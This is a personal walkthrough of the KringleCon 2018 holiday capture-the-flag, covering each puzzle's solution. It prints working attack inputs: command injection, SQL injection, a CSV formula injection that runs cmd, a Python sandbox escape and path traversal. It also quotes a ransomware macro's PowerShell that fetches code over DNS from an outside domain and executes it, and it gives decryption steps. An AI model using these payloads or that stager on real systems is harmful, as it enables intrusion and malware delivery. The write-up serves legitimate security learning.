Welcome to my KringleCon 2018 Write-up!

I had a TON of fun with this event.  The creators clearly put a lot of thought and effort into event and I learned a lot.  It seemed only fair to make a detailed walk-through to show my appreication!

Let’s get to it!

Challenge 1 – The Information Kiosk

This is just a trivia challenge.  I started doing the Holiday Hack in 2016, so I learned about 2015 this year!

  1. Firmware
  2. ATNAS
  3. Business Card
  4. Cranberry Pi
  5. Snowballs
  6. The Great Book

Solution – Happy Trails

Challenge 2A – The Name Game

This challenge is essentially a command inclusion exploit followed by some SQL querying.  I enjoyed trying to minimize the steps needed to get the info!

  1. Use application option 2 (which is a ping)
  2. Command Injection by way of “127.0.0.1 && /bin/sh”
  3. Open sqlite db, onboard.db

    SELECT fname FROM onboard WHERE lname = ‘Chan’

  4. Use ./runtoanswer

Solution – Scott

Challenge 2B – Directory Browsing

This is a straight-forward “directory browsing is enabled” challenge.  The names they came up with for the talks, however, are pretty funny

LINK – https://cfp.kringlecastle.com/
LINK – https://cfp.kringlecastle.com/cfp/cfp.html
LINK – https://cfp.kringlecastle.com/cfp/

  1. Select CFP From KringleCon site
  2. Open Directory with browsing by removing the “cfp.html”
  3. Search on “Data Loss for Rainbow Teams: A Path in the Darkness?”

Solution – John McClane

Challenge 3A – Lethal ForensicELFication

The challenge is kinda creepy when you look at what is going on.  But, in any event, it is a simple “know where history is” challenge.

  1. ls to find interesting files
  2. vim is a great text tool, so search vim’s history
  3. Subject name shows up in history
  4. ./runtoanswer with solution

Solution – Elinore (Not Elfinore – missed opportunity)

Challenge 3B – De Bruijn Cipher

I might get in trouble for this.  I originally did the challenge as you’re supposed to, just clicking on the cipher lock using a De Bruijn sequence.  But I wanted to do something else for the write-up because, if you’re like me, your brain doesn’t work correctly when zero-index counting.

  1. Decide not to generate De Bruijn Sequence
  2. Bash Script to Curl all the options
  3. Make sure you leave the window open in a browser so your session token stays
  4. Get success message

    Correct sequence is 0120
    Check the images for a visual representation of the pattern

  5. Enter Room

Solution – Welcome unprepared speaker!

Challenge 4A – Stall Mucking Report

This was actually hard for me at first because I have no idea how to use smbclient.  Once I figured out the tricks it went pretty fast.

  1. Get file list
  2. Get running processes by ps
  3. Output that process list to a file because it is too big to fit in the window
  4. Get username/password by intelligent guessing of the commands in the ps text file

Solution – smbclinet //localhost/report-upload -c ‘put report.txt” -U report-upload%directreindeerflatterystable

Challenge 4B – Encrypted Zip Retrieval

This is an intro to git repo security and I learned to use a cool tool called TruffleHog.  I’m going to use that for my own projects in the future and it is always great to learn about new tools out there!

LINK – https://git.kringlecastle.com/Upatree/santas_castle_automation
LINK – https://github.com/dxa4481/truffleHog

  1. Install TruffleHog
  2. Use TruffleHog

    trufflehog –regex https://git.kringlecastle.com/Upatree/santas_castle_automation | grep Password

  3. Get Password

Solution – Yippee-ki-yay

Additional Note – When you unzip the zip file, you also get 2 images that are the Google Vent Challenge Maps.  We’ll cover that at the end

Challenge 5A – CURLing Master

This would be a hard dive into cURL if it weren’t for a little trick we had access to.

  1. Do recon on webserver – output is useless
  2. Recon the system by checking command history – Jackpot

    curl –http2-prior-knowledge http://localhost:8080/index.php

  3. You’ll get instructions on what to POST to the webserver

Solution – curl –http2-prior-knowledge http://localhost:8080/index.php -X POST -d {“status=on”}

Challenge 5B – AD Directory Browsing

Not being familiar with BloodHound, this would’ve been pretty hard for me.  But they linked videos provided as hints made this a very straight-forward exercise.

  1. Download SANS Slingshot Linux Image
  2. Fix the Default VirtualBox Setting
  3. Start the VM
  4. Start BloodHound
  5. Run the pre-built query – Shortest Path to Domain Admin from Kerberoastable User
  6. Only one user has a short path that does not inolve “CanRDP”

Solution – LDUBEJ00320@AD.KRINGLECASTLE.COM

 Challenge 6A – Yule Log Analysis

This isn’t that hard of a challenge if you just want to run each username you find into the ./runtoanswer.  It does get hard when you’re writing a walkthrough and want to find an answer with a good explanation.

As a brief overview, what we are aiming to do is correlate the “who is password spraying” against “who did that IP log in as.”

  1. Figure out who is doing the password spraying:

    python ./evtx_dump.py ho-ho-no.evtx | grep 4625 -B 20 -A 20 | grep IpAddress

  2. Using the found IP – grep for successful logon events

    python ./evtx_dump.py ho-ho-no.evtx | grep 4624 -A 50 | grep 172.31.254.101 -B 20 | grep TargetUserName

  3. Use ./runtoanswer to solve

Solution – minty.candycane

Challenge 6B – Badge Manipulation

The solution I’ll present is straightforward.  But I want it to be known that my original attempt resulted in 73 qr codes before I got it right.  I heard a lot of people were getting frustrated trying to escape the query.  As you’ll see, if you work WITH the query instead of AGAINST it, it’ll go a lot smoother.

LINK – https://www.the-qrcode-generator.com/

  1. Generate error message using bad SQL query

    QR Code Text = MakeAnError!’

  2. Analyze Target Query

    “SELECT FIRST_NAME,LAST_NAME,ENABLED FROM EMPLOYEES WHERE AUTHORIZED=1 and UID = ‘{}’LIMIT 1”

  3. Use a simple injection

    QR Code Text = ‘OR ENABLED=’1

Solution – 19880715

Challenge 7A – DevOps Fail

This is fun – finding hidden gems in git repos.  I’ll be applying this methodology to help secure stuff for some of my customers!

  1. Find target git repo
  2. Search git commit history

    git log

  3. Find commit which mentions being in trouble for saving hard-coded passwords.  Checkout the commit before the correction

    git checkout b2376f4a93ca1889ba7d947c2d14be9a5d138802

  4. Cat the target file mentioned in the git commit

    cat server/config/config.js

Solution – twinkletwinkletwinkle

Challenge 7B – HR Incident

Yay!  This will teach you to do DDE, which is obviously related to some things about Fancy Bear!  The talks on this were great and had a lot of cool information, so if you haven’t watched them please go do it!

LINK – https://careers.kringlecastle.com/

  1. Go to website
  2. Create any csv file
  3. Upload it to the site
  4. Get success message showing you the local path where your target file is stored
  5. Generate a 404 by going to any page on the site that you dream up that isn’t real

    https://careers.kringlecastle.com/somepage

  6. You will receive an error message with where files can be accessed from the public folder on the site

    C:\careerportal\resources\public\

  7. Craft your malicious CSV

    =cmd|’/c copy “c:\candidate_evaluation.docx” “c:\careerportal\resources\public\hostilesite.docx”‘!A1

  8. Upload your malicious CSV
  9. Go to the location specified in your malicious command

    https://careers.kringlecastle.com/public/hostilesite.docx

Solution – Fancy Beaver

Challenge 8A – Python Escape from LA

Read a lot of people got hung up here because they couldn’t get outside the though process of following the provided talk’s examples.  Those won’t work because the python jail looks to be using a dictionary filter and the example uses a variable with name “os.”  So, when you set your variable as described but call it “os”, it’ll still fail.  Also, just my opinion, but you should probably be using subprocess to run applications, so I did my walkthrough that way.

  1. Open Challenge
  2. Load subprocess

    hostilesite = eval(‘__imp’ + ‘ort__(“subprocess”)’)

  3. Run subprocess.call via alias

    hostilesite.call(‘./i_escaped’)

Solution – Read the Walkthrough!

Challenge 8B – Packalyzer

LINK – https://packalyzer.kringlecastle.com/

Alright everyone – this is where we start to strap on the crazy hat and things get really hard.  We’re going to do a few things here.  We’re going to analyze some source code, exploit some nodeJS, do some packet analysis, and break some encryption.  Strap in.

  1. Create Account and Log in
  2. Analyze page source

    Find comment about app.js
    Find calls to http://packalyzer.kringlecastle.com:80
    Remember the hints talking about dev code in production

  3. Navigate to app.js

    https://packalyzer.kringlecastle.com:80/app.js

  4. Find interesting ways paths are constructed in app.js.  Able to insert environment variables as part of the path
    We know we need the variable “SSLKEYLOGFILE” to progress

    https://packalyzer.kringlecastle.com/SSLKEYLOGFILE/

  5. Receive variable value

    Error: ENOENT: no such file or directory, open ‘/opt/http2packalyzer_clientrandom_ssl.log/’

  6. Some path data is being added, so clean it up

    https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log

  7. Execute Packet Capture with Packalyzer
  8. While Packet Capture us running (you have 20 seconds), refresh the page with the SSL Key Log info.  Save that to a file.
  9. Download PCAP you just made from website
  10. Open PCAP in Wireshark
  11. Load key log file you just got from the ssl key log page via the Wireshark SSL Preferences
  12. Filter on HTTP2
  13. Search for POST data to /api/login, the look for data that follows it
  14. Find JSON object with username/password

    UN – alabaster
    PW – Packer-p@re-turntable192

  15. Log in to Packalyzer with these new credentials
  16. Download PCAP in history and load in Wireshark
  17. Select first packet and follow the TCP stream
  18. Copy out the Base64 data, clean whitespace, and decode into file
    Documents are usually docx, pdf, or similar
    This one is a PDF
  19. Read the file – learn something about keyshift.  Keep this file for later.  It gets weirder.

Solution – Mary Had A Little Lamb

Challenge 9A – Snort

This is deceptively hard.  If you got this far, it was probably because you know how to figure things out, but the key in this one is to be broad instead of specific.  You’ll see what I mean in the final snort rule.

  1. Read the ~/more_info.txt file

    LINK – https://snortsensor1.kringlecastle.com/
    UN – elf
    PW – onashelf

  2. Download any PCAP from that stie
  3. Open PCAP in Wireshark
  4. Weird querying of a lot of TXT records is likely malware
  5. All TXT queries of the string “77616E6E61636F6F6B69652E6D696E2E707331” in common

    This string is hex for ‘wannacookie.min.ps1’
    This will matter later

  6. Write Snort Alert for this string

Solution – alert udp any any -> any any (msg:”badstuff”; content:”7616E6E61636F6F6B69652E6D696E2E707331″; sid:1001)

Challenge 9B – Word Document Macro

You could just extract the doc and strings it to get the solution.  But someone suggested I used ole tools and it wound up helping a lot to clean up how this is done for a walkthrough.  You’re going  to be writing a bit of PowerShell, not too scary.  Just remember – you’re short-circuiting the logic more than anything.  This challenge reminded me of a challenge I saw at DerbyCon, I believe it was Bank of America that had it.

  1.  Click Alabaster a bunch to get a link to the Word docm file
  2. Extract with password “elves”

    You may want to do this in a VM and turn off your anti-malware

  3. Install OLE tools on a Linux machine
  4. Get Macros out of the docm file

    olevba CHOCOLATE_CHIP_COOKIE_RECIPE.docm -d

  5. Copy the macro code into PowerShell ISE
  6. Modify the PowerShell a bit to remove things like iex and get the string printed out

    sal a New-Object

    $pscmd = (a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(‘lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG’),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()

    Write-Host $pscmd

  7. Copy that output to a new PowerShell ISE tab

    function H2A($a) {$o; $a -split ‘(..)’ | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = “77616E6E61636F6F6B69652E6D696E2E707331”; $h = “”; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name “$f.erohetfanu.com” -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name “$i.$f.erohetfanu.com” -Type TXT).strings}; iex($(H2A $h | Out-string))

  8. The Domain you need is in the code

Solution – erohetfanu.com

Challenge 9C – Malware KillSwitch

This can either be REALLY hard or not too bad depending on if you caught the Hex to ASCII earlier and recognize it again.  If you don’t, you’ll be working on minified PowerShell code.  Shamefully, I will admit I did this the first time I ran through KringleCon.  On the second go, I found my issue and this went a LOT easier.  We’re going to do some more PowerShell code, but nothing too bad.

  1. Clean up the code you got from Challenge 9B.  Make it easier to read.
  2. Modify the target by changing the hex code and output variable info
  3. Function “wannacookie” contains a killswitch
    Oddly enough, right next to some hex for the word “killswitch”
  4. Following code inserted into function “wannacookie.”  See images for more specific location info.

    #
    $KillSwitch = H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name  6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))

    Write-Host $KillSwitch

    Exit
    #

  5. Enter solution into the terminal to register the domain

Solution – yippeekiyaa.aaay

Challenge 9D – Decyrpt Ransomware’d Files

Do you still have on your tinfoil hat?  You’re going to need it.

We are about to do a little hex changing, memory dumping, de-obfuscation, key encryption/decryption, PowerShell, with a splash of SQL to finish it up.  This one took me forever and I had some help.  Fitting penultimate challenge, hats off to the development team!

  1. Note the following string in the PowerShell, when converted from hex

    7365727665722E637274 = server.crt

  2. In a default configuration, its private key counterpart should be server.key

    7365727665722e6b6579 = server.key

  3. Download the file linked by Alabaster Snowball

    https://www.holidayhackchallenge.com/2018/challenges/forensic_artifacts.zip

  4. Extract the contents
  5. If you don’t already have it installed, get PowerDump installed on a Linux machine

    git clone https://github.com/chrisjd20/power_dump.git

  6. Rename file to memdump.dmp (maybe not necessary, but the characters in the file gave me some issues.
  7. Run power_dump on memdump.dmp
  8. In testing on dummy box, malicious script consistently produces an encrypted key at ./encrypted_pub_key.txt with a length of 512.  We’ll need that encrypted key to get the files back.
  9. Search for a variable of 512 characters in length in power_dump
  10. Only one variable should be found – save it as pkek.data
  11. Return to PowerShell script and modify the following into it.  See images for specific location info
    ###

    $priv_key = [System.Convert]::FromBase64String($(get_over_dns(“7365727665722E6B6579”))) | Out-String

    Exit

  12. Modify get_over_dns function, as well

    $h = ”

    foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name “$f.erohetfanu.com” -Type TXT).Strings, 10)-1)) {
    $h += $(Resolve-DnsName -Server erohetfanu.com -Name “$i.$f.erohetfanu.com” -Type TXT).Strings
    }

    ###
    Write-Host (H2A $h)
    ###
    return (H2A $h)

  13. Run the script and you’ll get a private key spit out to the command line.  Save it and clean it up.

    —–BEGIN PRIVATE KEY—–
    MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG
    L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui
    W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq
    jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S
    TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3
    HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4
    tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc
    0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW
    OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN
    6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U
    3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm
    Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9
    uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2
    Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG
    4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB
    0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498
    /P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q
    8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE
    KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4
    eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v
    sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx
    moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy
    DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4
    Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE
    JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq
    UdrzXvSwyFuuIqBlkHnWSIeC
    —–END PRIVATE KEY—–

  14. Convert pkek.data into a binary object

    xxd -r -p pkek.data pkekbinary.data

  15. Decrypt the encryption key

    openssl rsautl -inkey server.key -decrypt -oaep -in pkekbinary.data -out decrypted.txt

  16. Verify the length is 16 bytes before we move on – you’ll be unhappy if you don’t
  17. Get hex value of decryption key

    xxd -l 16 -p decrypted.txt

    fbcfc121915d99cc20a3d3d5d84f8308

  18. User PowerShell to decrypt the file with the decrypted encryption key

    #wannacookie

    $dec_key = ‘fbcfc121915d99cc20a3d3d5d84f8308’

    [array]$targ_file = ‘C:\holidayhack\alabaster_passwords.elfdb.wannacookie’

    enc_dec $dec_key $targ_file $false

  19. File should now be decrypted – check the paths I used if you’re having an issue and adjust as needed.
  20. Open file with SQLite3

    sqlite3 alabaster_passwords.elfdb

  21. Get database contents

    .tables
    SELECT * FROM passwords;

  22. Relevant password will be in table “passwords”

Solution – ED#ED#EED#EF#G#F#G#ABA#BA#B

Challenge 10 – The KeyShift

This is shockingly hard if you’re not musically inclined.  But with the help of the Mary Had a Little Lamb and paying attention to your hints, this goes by pretty quick.

  1. Talk to Alabaster Snowball to get more hints
  2. One of your hints strongly implies you need to keyshift from E to D, 1 whole step.
  3. Follow the instruction in the PDF for how to key shift

    E D# E D# E E D# E F# G# F# G# A B A# B A #B
    —Becomes—
    D C# D C# D D C# D E F# E F# G A G# A G# A

  4. No message will show you when you get it right.  The door will open
  5. Apparently there is supposed to be a message, but it never showed up for me.  But if you want to answer these from SANS website where you can just type in your answer:

    You have unlocked Santa’s vault!

  6. Click Santa a bunch.
  7. Elves are tricky, it seems

Solution – Santa

Bonus Challenge – The Google Vent Maze

This maze is hard without the map.  Luckily we got those in Challenge 4B.  In short, just follow the map and you get dropped off inside the room that is accessible after the QR Code Challenge.  Or it bugs out and shoots you to random places.  Your mileage may vary.

  1. Click on the vent
  2. Key sequence as follows on your keyboard

    wwwwwwdwwawwwwdwwwwdwwwwwwawwawwdwwawwdwwwwawwdwwawwwwdwwawwwwwwawwdwwdww

  3. Click the skinny up arrow
  4. Key sequence as follows on your keyboard

    dwwwwwwwwdwwwwwwdwwawwdwwawwwwawwwwwwwwawwdwwawwdwwwwwwawwwwdwwdww

  5. Click the skinny down arrow, not the big one

Bonus Challenge – Essential Editor Skills

This is just an intro challenge on how to use vim.  Simply Exit to win.

:q

Kudos to the dev team on this one, though.  Because if you get a shell with

:sh

You still can’t run the binary needed to complete this challenge as it checks to see if vim is running!

Bonus Challenge – The Sleighbell

This is a binary reverse engineering challenge.  It took me a while until I realized I was REALLY overthinking this puzzle by trying to overwrite memory addresses to get the values to match.  There’s a much faster way:

  1. Open sleighbell-lotto in gdb

    gdb ./sleighbell-lotto

  2. Set a break point on main and run the applicationbreak main

    run

  3. Disassemble main and see what is lurking in there

    disas main

  4. The interesting part of the code is here

    0x0000555555555590 <+198>: callq 0x555555554fd7 <winnerwinner>

  5. Jump to that address and let it run!

    jump *0x0000555555555590

Bonus – The Master Map!

Summary Of The Plan

Santa was behind it all!  The elves are in costume!  It was all a ploy to get hackers like us to run their gauntlet and find those that can help defend the North Pole!

It turns out there are so many different challenges because Santa needs people that are skilled across the InfoSec spectrum!

Hans is actually Santa’s friend and they’ve been playing around the whole time to get us to progress through the challenges on a mission!

What is the reward for completing KringleCon?  According to Santa it is Christmas Joy and Good Will.  According to me it is the thrill of getting to try new and exciting challenges and lots of free talks to help sharpen my skills.

As Santa, hints, I got everything I wanted out of KringleCon and I hope to live happily ever after!

Please remember to thank the CounterHack team for all their hard work.  There were a few bugs along the way, but they certainly managed to wrangle them and keep everything running smoothly – not an easy feat for a conference where you invite everyone to break your toys!

See you next year, Santa!